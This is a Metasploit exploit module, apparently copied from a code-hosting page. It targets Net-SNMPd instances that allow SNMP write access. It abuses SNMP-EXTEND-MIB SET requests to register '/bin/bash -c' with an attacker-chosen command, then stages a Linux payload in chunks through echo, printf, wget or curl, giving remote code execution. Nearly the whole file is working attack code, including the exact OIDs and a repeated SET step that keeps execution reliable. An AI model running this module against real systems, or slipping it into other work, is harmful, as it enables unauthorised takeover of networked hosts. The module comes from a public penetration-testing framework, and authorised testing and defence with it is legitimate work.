Alan Foster
107 lines
4.1 KiB
Ruby
107 lines
4.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'snmp'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::SNMPClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution',
|
|
'Description' => %q(
|
|
This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to
|
|
configure MIB extensions and lead to remote code execution.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Steve Embling at InteliSecure'],
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'],
|
|
[ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'],
|
|
[ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'],
|
|
[ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4096
|
|
#note space above is not a hard limit and can be increased if required
|
|
#'BadChars' => "\x00"
|
|
},
|
|
'Targets' =>
|
|
[
|
|
['Linux x86', {
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux',
|
|
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}],
|
|
['Linux x64', {
|
|
'Arch' => ARCH_X64,
|
|
'Platform' => 'linux',
|
|
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}]
|
|
],
|
|
#Not tested on other platforms but confirmed the above works.
|
|
'DisclosureDate' => '2004-05-10',
|
|
'DefaultTarget' => 0,
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']),
|
|
OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]),
|
|
OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash'])
|
|
])
|
|
end
|
|
|
|
# The exploit method connects and sets:
|
|
# NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
|
|
# NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable
|
|
# NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments
|
|
def execute_command(cmd, opts = {})
|
|
oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'
|
|
oid_1_value = 4
|
|
oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'
|
|
oid_2_value = datastore['SHELL']
|
|
oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'
|
|
oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'
|
|
|
|
comm = datastore['COMMUNITY']
|
|
|
|
cmd = cmd.shellescape unless flavor == :bourne
|
|
|
|
oid_3_value = "-c \"#{cmd}\""
|
|
|
|
vprint_status(oid_3_value)
|
|
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
|
|
#vprint_status(manager.get_value("sysDescr.0"))
|
|
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
|
|
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
|
|
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
|
|
resp = manager.set([varbind1, varbind2, varbind3])
|
|
vprint_status(manager.get_value(oid_4).to_s)
|
|
end
|
|
#Hit same again, first rewrite appears to remove the MIB, the next reinstates it.
|
|
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
|
|
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
|
|
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
|
|
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
|
|
begin
|
|
resp = manager.set([varbind1, varbind2, varbind3])
|
|
vprint_status(manager.get_value(oid_4).to_s)
|
|
rescue SNMP::RequestTimeout
|
|
print_good("SNMP request timeout (this is promising).")
|
|
end
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH'])
|
|
end
|
|
end
|